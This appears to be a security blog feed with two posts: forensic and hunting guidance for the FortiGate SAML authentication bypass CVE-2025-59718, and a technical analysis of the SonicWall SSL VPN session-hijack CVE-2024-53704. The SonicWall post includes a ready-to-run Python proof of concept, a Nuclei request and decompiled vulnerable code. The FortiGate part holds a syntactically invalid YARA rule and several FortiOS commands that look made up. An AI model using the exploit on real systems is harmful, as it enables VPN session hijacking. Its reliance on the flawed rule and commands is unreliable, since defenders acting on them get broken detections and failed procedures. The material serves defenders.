Try some Forti triage commands –> Secret gist
Revert the Forti version and exploit it yourself to get a root session –> Generate a forensic image using your choice of dd* and collect memory using avml

Forensic Considerations and Limitations

Here’s where things get dicey from an incident response perspective: this attack leaves minimal forensic evidence.

What you WILL see:

Successful admin login events via SSO method
Log entries showing method="sso" authentication
GUI actions performed by the admin user
Configuration file downloads if the attacker exfiltrated configs

What you WON’T see:

Evidence of the malicious SAML payload itself (not logged)
Failed authentication attempts (successful bypass on first try)
Source of the SAML forgery (appears as legitimate SSO)
Modification to audit logs (attacker could disable logging post-compromise)

The observed attack pattern from Arctic Wolf shows this log signature:

logid="0100032001" type="event" subtype="system" level="information"
logdesc="Admin login successful" user="admin" ui="sso(199.247.7.82)" 
method="sso" srcip=199.247.7.82 action="login" status="success" 
profile="super_admin"

Followed by:

logid="0100032095" type="event" subtype="system" level="warning"
logdesc="Admin performed an action from GUI" user="admin" 
ui="GUI(199.247.7.82)" action="download" status="success"
msg="System config file has been downloaded"

Critical forensic limitation: If an attacker authenticated via this vulnerability and immediately disabled logging or modified the syslog configuration, you might have zero visibility into what they did post-compromise.

Additionally, downloaded configuration files contain:

Hashed local account passwords
VPN credentials
Certificate private keys
SNMP community strings
IPsec PSKs

If your config was exfiltrated, assume all credentials in it are compromised. The hashes can be cracked offline, and weak passwords will fall quickly to dictionary attacks.

What we’ve observed in the wild:

Attackers authenticate as admin
Immediate download of system config
Quick in-and-out pattern (3-5 minute dwell time)
No persistence mechanisms observed (yet)
Focus on credential harvesting from configs

This suggests initial access operations, likely for follow-on attacks. Stolen credentials enable:

VPN access to internal networks
Lateral movement to other Fortinet devices
Access to networks the firewall protects
Identity for supply chain attacks

Forensic Evidence Collection

When exploitation is suspected or confirmed, evidence collection needs to happen fast. FortiGate logs rotate, memory is volatile, and attackers with admin access can disable logging or wipe evidence. The following methods preserve forensic artifacts before they disappear.

Collection Priority Order

Time matters. The forensic window closes fast. If you can’t collect everything immediately:

System logs - Rotate fastest, contain authentication and admin action evidence
Memory dump - Most volatile, shows active sessions and in-memory configurations
Configuration backup - Shows what the attacker could access or modify
Disk image - Time-consuming but comprehensive preservation
Network flow logs - May show data exfiltration or C2 communication
External SIEM data - If forwarding was enabled and not disabled by attacker

Logs rotate. Sessions expire. Attackers clean up. Collect what matters first.

FortiGate Log Extraction

FortiGate devices store logs in memory and disk depending on configuration. Critical for CVE-2025-59718 investigations because they contain the only evidence of SSO authentication and post-compromise actions.

Export all event logs:

# Via CLI - exports to TFTP/FTP server
execute backup disk full-config tftp <filename> <tftp_server_ip>

# Export system logs to USB (if available)
execute backup disk full-log usb <filename>

# Export logs via SCP (requires SSH enabled)
execute backup disk alllogs scp <filename> <scp_server_ip>:<path> <username>

Export specific log categories:

# Export only system event logs (authentication, admin actions)
execute log filter category 0
execute log filter field subtype system
execute log display
execute log export tftp <filename> <tftp_server>

# Export traffic logs (network connections)
execute log filter category 1
execute log display
execute log export tftp <filename> <tftp_server>

# Export security logs (IPS, AV, etc.)
execute log filter category 2
execute log display
execute log export tftp <filename> <tftp_server>

Check log storage locations:

# Show current log storage settings
diagnose sys top-summary

# Check disk space and log usage
get system status

# Show logging configuration
show log setting
show log syslogd setting
show log fortianalyzer setting

Critical logs for CVE-2025-59718:

Event logs (category 0) - Contains SSO login and admin action events
Admin login history - Shows authentication method and source IPs
Configuration change logs - Shows if attacker modified settings
Download logs - Critical for detecting config file exfiltration

If using FortiAnalyzer or Syslog:

Logs may be preserved externally even if local logs are cleared:

# Check if FortiAnalyzer is configured
get log fortianalyzer setting

# Check if syslog forwarding is active
get log syslogd setting

# Verify last successful log upload
diagnose test application miglogd 4

If external logging was active, immediately secure those log stores before the attacker accesses them.

Memory Acquisition

Memory contains active sessions, cached credentials, in-memory configurations, and runtime state that doesn’t exist on disk. For FortiGate investigations, memory is critical because it may contain:

Active admin session tokens and cookies
SAML response processing artifacts
Cached configuration changes not yet written to disk
Network connection states
Process memory showing what the attacker accessed

Physical FortiGate Appliance Memory Dump:

FortiGate devices run FortiOS (a hardened Linux kernel). Direct memory access requires specific procedures:

Remember that ProcFS is mounted and you can review it via fnsysctl cat/ls commands

# Check available memory
diagnose hardware deviceinfo mem

# Enable core dump (requires reboot)
diagnose debug enable
diagnose debug core-dump enable

# Trigger controlled crash to generate core dump (USE WITH EXTREME CAUTION)
# This will reboot the device - only use if authorized
diagnose debug crash

Core dumps are stored in /data/core/ and can be extracted via SCP or USB.

VM-based FortiGate (FortiGate-VM) Memory Dump:

For virtual appliances, use hypervisor snapshot capabilities:

# VMware ESXi - suspend to capture memory
vim-cmd vmsvc/power.suspend <vmid>
# Memory saved to .vmss file in VM directory
# Resume after copying: vim-cmd vmsvc/power.on <vmid>

# Hyper-V memory dump
Stop-VM -Name FortiGateVM -Save
# Memory saved to .bin and .vsv files
Start-VM -Name FortiGateVM

# KVM/QEMU memory dump
virsh dump <domain> /forensics/fortigate-memory.dump --memory-only --live

# AWS EC2 (if EBS-backed)
# Create snapshot, then extract from snapshot volume
aws ec2 create-snapshot --volume-id vol-xxxxx --description "FortiGate forensics"

Alternative: Configuration and Session State Extraction:

If full memory dump isn’t possible, extract runtime state:

# Dump current configuration (includes all settings)
show full-configuration

# Show active admin sessions
diagnose sys session list

# Show cached certificates and keys
diagnose vpn ssl list

# Show SAML configuration and status
diagnose debug application samld -1
diagnose debug enable
# Let it run for 30 seconds to capture SAML processing
diagnose debug disable
diagnose debug reset

Disk Imaging

Disk images preserve FortiGate system files, logs, configuration, and forensic artifacts. For CVE-2025-59718, disk imaging captures:

Complete log history before rotation (/var/log/)
System configuration files (/data/config/)
Certificate stores and private keys
Historical configuration versions
System binaries and potential persistence mechanisms

Physical Appliance Disk Imaging:

Physical FortiGate devices use internal storage (SSD/HDD). Imaging requires physical access; if this is impossible or risk is not accepted to crack open the device; consider working with FortiSupport to have a bitwise image generated after shipping the entire device

# Using dc3dd (forensically sound)
sudo dc3dd if=/dev/sdb of=/forensics/fortigate-disk.img hash=sha256 log=/forensics/imaging.log

# Using dd and dumping output to a remote host (Few methods)
dd if=/dev/<source> bs=16M | ssh <user>@<host> “/bin/dd of=/path/to/save/<device_name>.dd bs=16M”
dd if=/dev/<root device> bs=5M conv=fsync status=progress | gzip -c -9 | ssh <user>@<DestinationIP> 'gzip -d | dd of=<device_name>.dd bs=5M'

VM-based FortiGate Disk Imaging:

For virtual appliances, snapshot the virtual disks:

# VMware - Clone VMDK files
vmkfstools -i fortigate.vmdk fortigate-forensic.vmdk

# Hyper-V - Export VM disks
Export-VM -Name FortiGateVM -Path C:\Forensics\

# KVM/QEMU - Copy qcow2 images
cp /var/lib/libvirt/images/fortigate.qcow2 /forensics/fortigate-forensic.qcow2

# AWS EC2 - Create AMI or snapshot
aws ec2 create-image --instance-id i-xxxxx --name "FortiGate-Forensic-Image"
# Or snapshot specific volumes
aws ec2 create-snapshot --volume-id vol-xxxxx --description "FortiGate forensics"

# Azure - Create managed disk snapshot
az snapshot create --resource-group myRG --name fortigate-snap --source /subscriptions/.../disks/fortigate-disk

# GCP - Snapshot persistent disk
gcloud compute disks snapshot fortigate-disk --snapshot-names=fortigate-forensic --zone=us-central1-a

Live Backup (If Device Can’t Be Taken Offline):

If the FortiGate must remain operational:

# Full configuration backup (includes encrypted passwords)
execute backup full-config tftp backup.conf <tftp_server>

# Or via SCP (preferred for security)
execute backup full-config scp backup.conf <user>@<server>:<path>

# Full disk backup (includes logs, firmware)
execute backup disk full-config tftp full-backup.img <tftp_server>

# Verify backup integrity
execute restore verify tftp backup.conf <tftp_server>

Configuration Files

Configuration reveals what was enabled during the exploitation window and what the attacker could access or modify.

Critical FortiGate configurations:

Full system configuration (contains all settings, VPN configs, certificates)
SAML SSO configuration (IdP settings, certificate trusts)
Admin account configurations (users, permissions, trusted hosts)
Logging configuration (shows if attacker disabled logging)
VPN configurations (IPsec, SSL-VPN credentials)
Certificate stores (private keys, CA certificates)

Triage Extract via CLI: For a starting triage and forensic command reference, see our FortiGate triage command collection at https://gist.github.com/gottlabs/4fdc425bd8c50944e9a5c67806d7639c. It includes system integrity checks, process enumeration, filesystem inspection, and network state collection commands useful during incident response.

Configuration file locations on disk:

/data/config/sys_global.conf - Global system configuration
/data/config/fgt.conf - Main FortiGate configuration
/etc/init.d/ - Service configurations
/data/ - Data directory containing logs and configs

System logs and forensic artifacts:

/var/log/log - Main event log file
/var/log/log.* - Rotated log files
/data/var/log/ - Persistent log storage
/var/log/message - System messages
/var/tmp/ - Temporary files (may contain session data)

Certificate and key stores:

/data/etc/cert/ - Certificate storage
/data/etc/ssl/ - SSL certificates and keys
/etc/cert/ - System certificates

External SIEM/Log Aggregation

If FortiGate was forwarding logs to external systems:

FortiAnalyzer logs:

May contain complete event history even if local logs cleared
Check for SSO authentication events with method=”sso”
Review configuration change logs
Analyze traffic logs for post-compromise behavior

Syslog servers:

Preserve logs even if FortiGate compromised
Search for logid 0100032001 (admin login) with method=”sso”
Search for logid 0100032095 (config download)
Correlate with other security events

Detection and Hunting

Given the forensic limitations, detection relies heavily on behavioral analytics and log correlation.

Primary detection logic:

Hunt for SSO authentication followed by configuration downloads:

event="Admin login successful" AND method="sso" 
FOLLOWED BY 
action="download" AND msg CONTAINS "config file"
WITHIN 15 minutes

Look for admin actions from unexpected source IPs:

user="admin" AND method="sso" 
WHERE srcip NOT IN [known_admin_ips]

Detect FortiCloud SSO logins outside normal business hours:

method="sso" AND (hour < 6 OR hour > 20) 
AND day IN [Saturday, Sunday]

Check for multiple admin logins from different IPs in short timeframes:

COUNT(DISTINCT srcip) WHERE method="sso" AND user="admin"
GROUP BY 15_minute_window
HAVING count > 1

Configuration audit:

show system global | grep admin-forticloud-sso-login

If this returns enable, you’re exposed (assuming vulnerable version).

Log queries to hunt for historical compromise:

# All SSO logins in the past 30 days
execute log filter category 0
execute log filter field subtype system
execute log filter field action login
execute log filter field method sso
execute log display

# Configuration downloads
execute log filter category 0
execute log filter field action download
execute log display

Network-based detection:

Monitor for POST requests to /remote/saml/login with SAML payloads lacking proper signatures. This requires SSL inspection capabilities and deep packet inspection of SAML XML structure.

YARA rule for SAML responses in network traffic:

rule CVE_2025_59718_SAML_Exploit {
    strings:
        $saml1 = "samlp:Response" nocase
        $saml2 = "Assertion" nocase
        $saml3 = "NameID" nocase
        $endpoint = "/remote/saml/login" nocase
    condition:
        all of them and not (
            $sig1 = "ds:Signature" or
            $sig2 = "SignatureValue"
        )
}

Endpoint forensics:

Check web server logs on the FortiGate:

execute log filter category 1
execute log filter field action login
execute log display

Review historical SAML authentication attempts:

diagnose debug application samld -1
diagnose debug enable

Note: This won’t show historical events, only new ones while debug is enabled.

Remediation and Workarounds

Immediate action required:

Disable FortiCloud SSO (if patches can’t be applied immediately):

Via GUI:

System -> Settings -> Disable "Allow administrative login using FortiCloud SSO"

Via CLI:

config system global
    set admin-forticloud-sso-login disable
end

Verify the setting:

show system global | grep admin-forticloud-sso-login

Should return: set admin-forticloud-sso-login disable

Restrict management access:

config system admin
 edit admin
     set trusthost1 <trusted_subnet> <netmask>
 next
end

Limit admin GUI access to specific trusted networks only. Don’t expose management to the internet.

Patch upgrade path:

Use Fortinet’s upgrade tool to determine safe upgrade paths. Some versions require intermediate upgrades. For example, FortiOS 7.0.17 can’t directly upgrade to 7.6.4 - you need to go through 7.0.18 first.

Recommended upgrade sequence:

Back up current configuration
Test upgrade in non-production environment
Schedule maintenance window
Upgrade during low-traffic period
Verify FortiGuard service connectivity post-upgrade
Re-enable FortiCloud SSO only if required

Post-patch validation:

After patching, verify SAML signature enforcement is active:

config user saml
    edit <saml_config_name>
        get
    next
end

Look for set require-signed-resp-and-asrt enable in versions 7.6.5+.

Assessment and Impact

CVE-2025-59718 and CVE-2025-59719 represent everything wrong with authentication bypass vulnerabilities in critical infrastructure devices. The combination of factors makes this particularly nasty:

Attack complexity: Low. Send a crafted HTTP POST request, get admin access. Privilege required: None. Completely unauthenticated. User interaction: None. No social engineering required. Exploitability: Trivial. Public PoC available, observed exploitation within 72 hours. Impact: Complete device compromise with admin privileges.

The vulnerability is especially dangerous because FortiCloud SSO is silently enabled during device registration, a workflow most administrators don’t associate with opening security holes. This created widespread exposure without explicit admin awareness.

The 72-hour window from disclosure to active exploitation demonstrates that threat actors have mature capabilities for rapid weaponization. This wasn’t script kiddies fumbling around - it was organized groups with infrastructure ready to go.

The targeting of configuration files suggests credential harvesting for persistent access and lateral movement. Expect these stolen credentials to be used in follow-on attacks for months to come.

Bottom line: If you run Fortinet devices with FortiCloud SSO enabled on vulnerable versions, assume compromise until proven otherwise. Patch immediately, disable the feature if you can’t patch, and hunt through logs for signs of exploitation.

The fact that this vulnerability existed in a security appliance’s authentication mechanism - the thing literally designed to verify identity - is ironic in the worst way possible. It’s 2025 and we’re still seeing basic cryptographic verification failures in enterprise security products.

SAML isn’t new. Signature verification isn’t rocket science. This should never have made it to production.

References

CVE-2024-53704: SonicWall Session Hijack

Mon, 05 Jan 2026 00:00:00 +0000

On January 7, 2025, SonicWall released patches for CVE-2024-53704, an authentication bypass vulnerability in their SSL VPN implementation that lets attackers hijack active VPN sessions with nothing more than a crafted cookie. The vendor initially reported no exploitation in the wild. That changed fast. By February 10, when Bishop Fox released full technical details and proof-of-concept code, Arctic Wolf was already observing mass exploitation attempts. CISA added it to the Known Exploited Vulnerabilities catalog on February 18. As of early February, over 4,500 internet-facing SonicWall SSL VPN servers remained unpatched.

This isn’t just another authentication bypass. It’s an elegant example of how a single logic error, a missing else clause in a string comparison loop, creates a gaping hole in enterprise perimeter security. More importantly for defenders, it’s a masterclass in forensic blind spots. The vulnerability lives in the space between authentication and logging, where session hijacking happens quietly and the only reliable indicator is “something felt wrong to the user.”

CVE Information

CVE-2024-53704 is an improper authentication vulnerability (CWE-287) in the SonicWall SonicOS SSL VPN component. The flaw exists in the processing of base64-encoded session cookies, specifically within the getSslvpnSessionFromCookie function. An incorrect implementation of the authentication algorithm allows remote, unauthenticated attackers to bypass authentication and hijack active SSL VPN sessions.

CVSS Score: 9.8 (Critical) per NVD, 8.2 (High) per initial SonicWall advisory EPSS Score: 0.93819 (99.851st percentile) Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None

Timeline and Active Exploitation

November 5, 2024: Vulnerability responsibly disclosed to SonicWall by Computest Security researchers.
January 7, 2025: SonicWall releases security advisory SNWLID-2025-0003 and patches. Vendor reports no evidence of exploitation in the wild at the time.
January 9, 2025: ZDI publishes advisory with critical detail: “The specific flaw exists within the processing of Base64-encoded session cookies.” This was the missing piece that made hunting for the bug feasible.
February 7, 2025: Internet scans identify approximately 4,500 unpatched SSL VPN servers still exposed.
February 10, 2025: Bishop Fox releases full technical analysis, proof-of-concept exploit code, and video demonstration.
February 10, 2025 (hours later): Arctic Wolf begins observing active exploitation attempts targeting CVE-2024-53704. The POC publication immediately weaponized the vulnerability.
February 18, 2025: CISA adds CVE-2024-53704 to Known Exploited Vulnerabilities (KEV) catalog with a March 11, 2025 remediation deadline for federal agencies.

The exploitation window narrowed fast. Organizations that didn’t patch within the one-month window between advisory and POC release became targets within hours of the exploit going public. This timeline demonstrates the tactical importance of patching critical infrastructure vulnerabilities on vendor disclosure, not after working exploits hit GitHub.

Affected Versions and Patch Status

The vulnerability affects multiple SonicWall firewall product lines running specific SonicOS firmware versions:

Affected Products:

TZ Series firewalls
NSa Series firewalls
NSsp Series firewalls
NSv Series virtual firewalls (Gen7 Cloud platform)

Vulnerable Firmware Versions:

SonicOS 7.1.x: versions 7.1.1-7058 and earlier
SonicOS 7.1.2: version 7.1.2-7019
SonicOS 8.0.0: version 8.0.0-8035

Proof of Concept Details

The exploit is remarkably simple, which is part of what makes it so dangerous. An attacker needs nothing more than the ability to send HTTP requests to the SSL VPN endpoint. No username, no password, no prior access. If there’s an active SSL VPN session on the target firewall, the attacker can hijack it.

Attack Requirements:

Target must have SSL VPN enabled and exposed (typically on port 4433)
At least one legitimate user must have an active authenticated SSL VPN session
No authentication credentials required
No user interaction required

Attack Flow:

Attacker crafts a malicious session cookie containing 32 null bytes, base64-encoded
Attacker sends GET request to /cgi-bin/sslvpnclient?launchplatform= with the crafted cookie
Vulnerable SonicOS firmware incorrectly validates the session cookie
Server responds with the oldest active SSL VPN session ID
Attacker now controls that user’s VPN session

Minimal Python POC:

import base64, requests
resp = requests.get(
    "https://target:4433/cgi-bin/sslvpnclient?launchplatform=",
    cookies={"swap": base64.b64encode(b"\x00" * 32).decode()},
    verify=False
)

That’s it. Fourteen lines of Python, and you’ve bypassed authentication and hijacked an active VPN session, including MFA.

What the Attacker Gets:

The server responds with:

The victim user’s session ID (in the swap cookie)
Virtual Office bookmarks
NetExtender client configuration profile
Network routes accessible to the hijacked account
Username and domain of the compromised session

With this information, the attacker can:

Establish a full SSL VPN tunnel
Access internal networks as the compromised user
Bypass all MFA protections
Maintain persistence until the legitimate user logs out

Attack Characteristics:

Targets the oldest active session first
Fails silently if no active sessions exist (connection closes with no response)
Logging out terminates the session for both attacker and legitimate user
Exploitation is intrusive: the victim’s VPN connection drops and reconnects repeatedly during hijacking
Post-exploitation actions are transparent to the victim after initial hijacking completes

A Nuclei template for automated detection uses this exact technique:

http:
  - raw:
      - |
        GET /cgi-bin/sslvpnclient?launchplatform= HTTP/1.1
        Host: 
        Cookie: swap=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
        Connection: close

The template checks for HTTP 200 response containing “NELaunchX1” string, indicating successful session hijacking. The EPSS score of 0.93819 reflects the trivial exploitability.

Technical Analysis: The Authentication Bypass

The vulnerability is a textbook example of how a single missing conditional leads to complete authentication bypass. Let’s walk through the vulnerable code path as reconstructed through reverse engineering by Bishop Fox researchers.

The Vulnerable Function: `getSslvpnSessionFromCookie`

The authentication flow begins when a request hits the SSL VPN endpoint with a session cookie. SonicOS checks the cookie length and processes it one of two ways:

void* getSslvpnSessionFromCookie(char* cookie_string) {
    if (!cookie_string)
        return 0;
    
    uint64_t rax = strlen(cookie_string);
    
    if (rax == 32) {
        // Path 1: 32-character cookie (raw session ID)
        if (verifyCookieCheckSum(cookie_string, 32))
            return maybe_verify_session(cookie_string, 1);
    }
    else if (rax == 44) {
        // Path 2: 44-character cookie (base64-encoded session ID)
        char* cookie_string_1 = wrap_b64decode(cookie_string);
        if (cookie_string_1) {
            if (verifyCookieCheckSum(cookie_string_1, 32)) {
                void* result = maybe_verify_session(cookie_string_1, 1);
                maybe_free_mem(cookie_string_1, "getSslvpnSessionFromCookie", 0x1fa);
                return result;
            }
            maybe_free_mem(cookie_string_1, "getSslvpnSessionFromCookie", 0x201);
        }
    }
    return nullptr;
}

This looks reasonable. It handles both raw 32-character session IDs and base64-encoded 44-character versions. But the bug isn’t here, it’s one level deeper in the session verification logic.

The Logic Flaw: `maybe_verify_session`

After checksum verification, the cookie is passed to maybe_verify_session to confirm it matches an active session. This function should compare the provided cookie string against actual session IDs character-by-character. Here’s where it goes wrong:

void* maybe_verify_session(char* cookie_string, int32_t session_idx) {
    if (!cookie_string)
        return 0;
    void* session = **(uint64_t**)(&data_6828180 + (uint64_t)session_idx * 56);
    if (session) {
        while (true) {
            int64_t idx = 0;
            while (true) {
                char cookie_char = cookie_string[idx];
                if (cookie_char) {  // If current character is not null
                    char session_id_char = *(uint8_t*)((char*)session + idx + 28);
                    if (session_id_char) {
                        if (cookie_char != session_id_char)
                            break;  // Mismatch, try next session
                        idx += 1;
                        if (idx != ' ')
                            continue;
                    }
                }
                // If we get here without breaking, validation "succeeds"
                j_sub_333fec0(rdi);
                goto label_2acc2b3;  // Return session
            }
            session = *(uint64_t*)((char*)session + 8);
            if (!session)
                break;
        }
    }
    j_sub_333fec0(rdi);
    return 0;
label_2acc2b3:
    return session;
}

See the problem? The inner while loop checks each character:

If cookie_char is not null, compare it to the session ID
If they don’t match, break and try the next session
If they do match, increment index and continue
But if cookie_char IS null, the check fails immediately and execution falls through

There’s no else clause. When the loop encounters a null byte, it doesn’t validate that character at all. Execution simply falls through to the success path, jumping directly to returning the session.

The Exploit Primitive

An attacker sends a base64-encoded cookie containing 32 null bytes. After base64 decoding:

The checksum verification passes (null bytes have a predictable checksum)
The session verification loop immediately hits a null byte at index 0
The check if (cookie_char) evaluates to false
No comparison happens
Execution falls through to the success path
The function returns the oldest active session

Why This Is Elegant

The vulnerability isn’t in cookie parsing, cryptographic implementation, or session management. It’s purely a logic error in conditional flow. The developers assumed that any string reaching this function would be a valid 32-character session ID. They didn’t account for the possibility of a string that starts with null bytes, causing the validation loop to immediately exit without actually validating anything.

Bishop Fox researchers found this by:

Using BinDiff to identify functions that changed between vulnerable and patched versions
Searching for strings related to SSL VPN session cookies
Analyzing the getSslvpnSessionFromCookie function and its callees
Identifying the missing conditional in maybe_verify_session

The patch adds an explicit check: if the cookie character is null and the session ID character is not null, the validation fails. Simple fix, catastrophic oversight.

Forensic Considerations and Limitations

This is where defenders need to understand the brutal reality: CVE-2024-53704 exploitation leaves almost no forensic artifacts. The vulnerability exists in a logging blind spot that makes post-incident investigation extraordinarily difficult.

What You Won’t Find

1. Failed Authentication Logs The vulnerability bypasses authentication entirely. There are no failed login attempts, no brute force patterns, no credential stuffing indicators. The attacker never attempts to authenticate. They just… inherit a session.

2. Separate Session Creation Events When an attacker hijacks a session, no new session is created from the firewall’s perspective. The existing legitimate session simply continues, now with two users controlling it. Standard SIEM queries looking for “session created from suspicious IP” will miss this entirely.

3. Traditional IOCs No malware is dropped, no persistence mechanisms are installed on the firewall itself, no configuration changes occur. The attack happens entirely at the HTTP request level, in memory.

4. Reliable Session Correlation Logs (by default) Most SonicWall deployments don’t log with enough granularity to correlate multiple source IPs to a single session ID. The default logging configuration was never designed to detect session hijacking.

What You Might Find, With Significant Caveats

1. User Reports of Connection Interruptions This is your most reliable indicator, and it’s not even a log. Users whose sessions are hijacked will experience:

Repeated VPN disconnects and reconnects
Session terminations without logging out
“Someone else is using your account” type behavior

If users report this, investigate immediately. Check the timeframe for anomalous source IPs accessing resources through that user’s account.

2. Multi-IP Session Access (requires custom logging) Bishop Fox noted: “With a custom logging configuration, a firewall administrator may be able to correlate access logs from multiple source IP addresses to a single SSL VPN session.”

This requires:

Enabling detailed session tracking logs
Correlating session IDs with source IPs over time
Identifying patterns where a single session ID appears from multiple disparate source IPs

Most organizations don’t have this level of logging enabled by default.

3. Event ID 1153 Anomalies Per AttackerKB research, exploitation may generate Event ID 1153 logs with suspicious “reuse numbers.” This is not a reliable indicator alone, but combined with other suspicious activity (unknown source IP, impossible travel time, unusual resource access), it can support an investigation.

Example log snippet:

Event ID: 1153
User: john
Message: SSL VPN session reused [suspicious reuse count]

4. Anomalous Network Behavior Post-Exploitation After the attacker establishes the hijacked session, you might see:

Unusual internal network reconnaissance from a “trusted” VPN user
Access to resources the user doesn’t typically touch
Data exfiltration patterns
Lateral movement attempts

But by the time you see this, the breach is already well underway.

5. HTTP Access Logs (if you’re lucky) If you’re forwarding raw HTTP access logs from the firewall to a SIEM and they include request headers, you might find:

GET requests to /cgi-bin/sslvpnclient?launchplatform= from unexpected source IPs
Presence of suspicious base64-encoded swap cookie values (all ‘A’s when base64-decoded become null bytes)
Multiple requests to this endpoint in rapid succession (scanning behavior)

The Forensic Reality:

Successful exploitation of CVE-2024-53704 is designed to be forensically opaque. The attack:

Bypasses authentication (no failed login artifacts)
Hijacks existing sessions (no new session artifacts)
Operates in the authentication layer (below most logging granularity)
Leaves no persistence (attack is ephemeral)

Attribution and Investigation Challenges:

Even if you suspect compromise, attribution is nearly impossible:

You can’t reliably determine when hijacking occurred
You can’t distinguish legitimate user activity from attacker activity within the same session
You can’t determine what data the attacker accessed without full session reconstruction
If the attacker established a VPN tunnel, network flow logs might show “normal” VPN user traffic

Implications for Incident Response:

If you’re running unpatched SonicWall SSL VPN infrastructure and you patch after reading this, you have a problem. You can’t reliably determine whether you were compromised during the exposure window. Standard forensic procedures don’t apply. Your options:

Assume breach and initiate full compromise assessment across internal network
Reset all VPN user credentials and revoke all active sessions
Implement enhanced monitoring going forward and watch for anomalies
Review firewall and internal network logs for any suspicious access patterns during the exposure window

This is why patching immediately on vendor disclosure matters. The investigation costs after-the-fact are orders of magnitude higher than the cost of emergency maintenance windows.

Detection and Hunting

Given the forensic limitations, detection strategies need to operate at multiple layers. You’re not going to catch this with a single Sigma rule.

Network-Based Detection

1. HTTP Request Monitoring

Monitor HTTP requests to SSL VPN endpoints for exploitation attempts:

GET /cgi-bin/sslvpnclient?launchplatform=
Cookie: swap=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

The Nuclei template uses this exact pattern. Look for:

Requests to /cgi-bin/sslvpnclient?launchplatform= with unusual swap cookie values
Base64-encoded cookies that decode to all null bytes or similar patterns
Repeated requests to this endpoint from single source IPs (scanning)
Requests from IPs with no prior legitimate SSL VPN authentication

2. Shodan/External Scanning Detection

Shodan query for exposed SonicWall SSL VPN instances:

http.html_hash:-1466805544

Organizations should:

Verify their SSL VPN instances aren’t exposed on Shodan
Monitor for scanning activity from known Shodan/Censys IP ranges
Implement rate limiting on the SSL VPN authentication endpoints

3. Network Flow Analysis

After successful exploitation, look for:

VPN tunnel establishment from unexpected geographic locations
Impossible travel time (user VPN session from New York, then immediately from Russia)
Multiple concurrent VPN connections from same user account but different source IPs
VPN users accessing network segments they don’t typically touch

Host-Based and Firewall Detection

1. SonicWall Event Log Monitoring

Enable verbose SSL VPN logging and monitor for:

Event ID 1153 with abnormal reuse patterns
Single session IDs associated with multiple source IPs over short time windows
VPN session disconnects followed immediately by reconnects
Session terminations without corresponding logout events

2. Internal Resource Access Monitoring

Track SSL VPN user access patterns:

Baseline normal access patterns per user
Alert on access to resources outside user’s typical scope
Monitor for reconnaissance activity (port scanning, network mapping) from VPN users
Track data transfer volumes for anomalies

Version-Based Detection

Identify unpatched systems by firmware version:

# Check SonicOS version via SNMP or management interface
# Vulnerable: 7.1.1-7058 and earlier, 7.1.2-7019, 8.0.0-8035
# Patched: 7.1.3-7015+, 8.0.0-8037+

Censys Query for Exposed Instances:

services.software: (vendor="SonicWall" and product:{"TZ","NSa","NSsp","NSv"})
and not labels: {tarpit, honeypot}

Detection Limitations:

Even with these detection strategies, realize:

Post-exploitation detection is more reliable than detecting the initial exploit
Behavioral detection will generate false positives (traveling users, VPN users behind NAT)
Skilled attackers can mimic legitimate user behavior patterns
Without enhanced logging enabled proactively, you’re flying blind

Recommended Detection Posture:

Assume compromise if you were running vulnerable versions with SSL VPN exposed
Implement enhanced logging immediately after patching
Establish baseline behavior for SSL VPN users
Monitor for post-exploitation indicators more than trying to detect the exploit itself
Threat hunt proactively in your environment rather than waiting for alerts

Remediation and Workarounds

Primary Remediation: Patch Immediately

Update to fixed firmware versions:

SonicOS 7.1.3-7015 or later
SonicOS 8.0.0-8037 or later

Critical Post-Patch Actions:

After patching, don’t stop there:

Force Password Resets: Assume that any active sessions during the vulnerable window could have been compromised. Reset VPN user credentials.
Revoke Active Sessions: Terminate all existing SSL VPN sessions after patching to ensure no hijacked sessions persist.
Review Access Logs: Check firewall and internal network logs for suspicious activity during the exposure window.
Enable Enhanced Logging: Configure detailed session tracking to improve future forensic capability.
Conduct Internal Threat Hunt: Look for indicators of compromise on systems accessed via SSL VPN during vulnerability window.

Verification After Mitigation:

Test that mitigations are working:

# Verification test (safe to run against your own systems)
import base64, requests
resp = requests.get(
    "https://your-firewall:4433/cgi-bin/sslvpnclient?launchplatform=",
    cookies={"swap": base64.b64encode(b"\x00" * 32).decode()},
    verify=False
)
# Patched systems: connection closes with no response or 403/401
# Vulnerable systems: HTTP 200 with session details

If you receive an HTTP 200 response with session information, you’re still vulnerable.

Closing Assessment

CVE-2024-53704 represents everything that makes perimeter vulnerabilities particularly dangerous: trivial exploitation, complete authentication bypass, MFA bypass, and near-zero forensic artifacts. The technical root cause is a single missing else clause in a string comparison loop. The operational impact is total compromise of SSL VPN perimeter security.

This vulnerability is a forcing function. It exposes uncomfortable truths about how we defend remote access infrastructure:

On Detection: Our logging and monitoring strategies are built around the assumption that authentication boundaries hold. When a vulnerability bypasses authentication entirely, most detection strategies fail because they’re looking for anomalies in the authentication process, not the absence of authentication. This vulnerability operates in a blind spot between the authentication layer and the application layer, where session management happens but comprehensive logging doesn’t.

On Forensics: Post-incident investigation of this vulnerability is nearly impossible with standard logging configurations. You can’t determine when hijacking occurred, you can’t distinguish attacker activity from legitimate user activity within the hijacked session, and you can’t reliably scope the compromise without assuming worst-case. The only reliable indicator is users reporting weird behavior, which is not what we’d call “actionable threat intelligence.”

On Remediation: The only real defense is patching immediately when vendors disclose critical authentication bypass vulnerabilities. The one-month window between SonicWall’s January disclosure and Bishop Fox’s February POC publication was generous by responsible disclosure standards. Organizations that didn’t use that window effectively are now dealing with active exploitation. The 4,500+ unpatched systems identified in early February became targets within hours of the POC going public.

Lessons for Defenders:

Authentication bypass vulnerabilities in perimeter devices are patch-immediately scenarios. This isn’t “patch within 30 days per policy.” This is “patch this week.”
Default logging configurations are designed for normal operations, not incident response. If you’re running SSL VPN infrastructure, configure logging that would actually help you investigate a breach.
Detection strategies need to account for authentication bypass scenarios. Looking for failed logins won’t catch attackers who never attempt to login.
The gap between vulnerability disclosure and POC publication is your patching window. Use it. Don’t wait for “convenient maintenance windows” for critical security updates.
Forensic limitations should inform incident response plans. When you can’t reliably determine if you were compromised, your incident response plan needs to account for that uncertainty.

Final Thought:

The thing about authentication bypass vulnerabilities is they eliminate all the security controls that come after authentication. Multi-factor authentication, password policies, account lockout mechanisms, authentication logging, none of it matters when the attacker never has to authenticate. CVE-2024-53704 is a reminder that security boundaries are only as strong as their implementation. A single missing else clause, 32 null bytes, and the entire perimeter falls.

